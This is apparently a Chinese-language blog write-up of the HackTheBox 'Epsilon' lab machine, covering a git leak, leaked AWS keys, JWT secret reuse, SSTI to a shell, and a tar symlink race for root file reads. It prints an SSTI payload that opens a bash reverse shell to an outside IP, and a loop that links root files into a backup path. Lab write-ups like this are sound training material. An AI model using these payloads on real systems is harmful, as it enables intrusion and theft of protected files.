Epsilon HackTheBox

信息收集

端口扫描

git泄露

硬编码登录

请求正常,但还是返回index.html,也没有set-Cookie

访问/track发现我已经是Admin了

但发什么都是302跳回index

commit 泄露AKSK

配置好AKSK后,通过awscli查看可用的lambda函数

获取函数代码

代码本身没什么意义,也不知道哪里可以触发。不过这个secret会不会复用呢?

secret复用

通过泄露的代码和secret生成JWT

添加到Cookie中,这次访问home没有重定向!

把Cookie写到浏览器缓存里,方便查看

SSTI GetShell

其实代码审计的时候就发现order这里是存在SSTI,只是当时利用不了。现在可以访问到了

POC

1
addr=123&costume=%7B%7B%22%22.__class__.__bases__%5B0%5D.__subclasses__()%5B132%5D.__init__.__globals__%5B'popen'%5D('bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.14.6%2F7781%200%3E%261%22').read()%7D%7D&q=123

提权

通过linpeas和进程发现root运行的docker-proxy

Docker 代理允许主机和容器之间进行网络通信,通过将端口从主机映射到容器内部,来实现对容器中服务的访问

但这似乎不能直接利用,只能上pspy监听一下进程

发现root一直在运行/usr/bin/backup.sh

这个脚本的问题出在/usr/bin/tar -chvf的h参数上

  • -h:处理符号链接文件时,将其内容作为文件而不是链接进行处理

也就是说 ln -s test checksum之后,tar -h会去寻找test文件,而不是checksum。这就造成了利用root任意文件读取的漏洞

链接文件并将压缩文件复制到tmp

一番折腾之后发现并不是这个flag

而且/opt/backups/checksum又被删掉了

写个while语句,当/opt/backups/checksum出现的时候,删掉它。再把root.txt链接过去

1
while true; do if [ -e /opt/backups/checksum ]; then rm -f /opt/backups/checksum; ln -s -f /root/root.txt /opt/backups/checksum; echo "ln done!"; break; fi; done

几次尝试之后成功获取root flag

对味,如果想GetShell的话可以读SSH私钥


Epsilon HackTheBox
http://aurey7.github.io.git/2023/09/17/Epsilon-HackTheBox/
作者
Aurey7
发布于
2023年9月17日
许可协议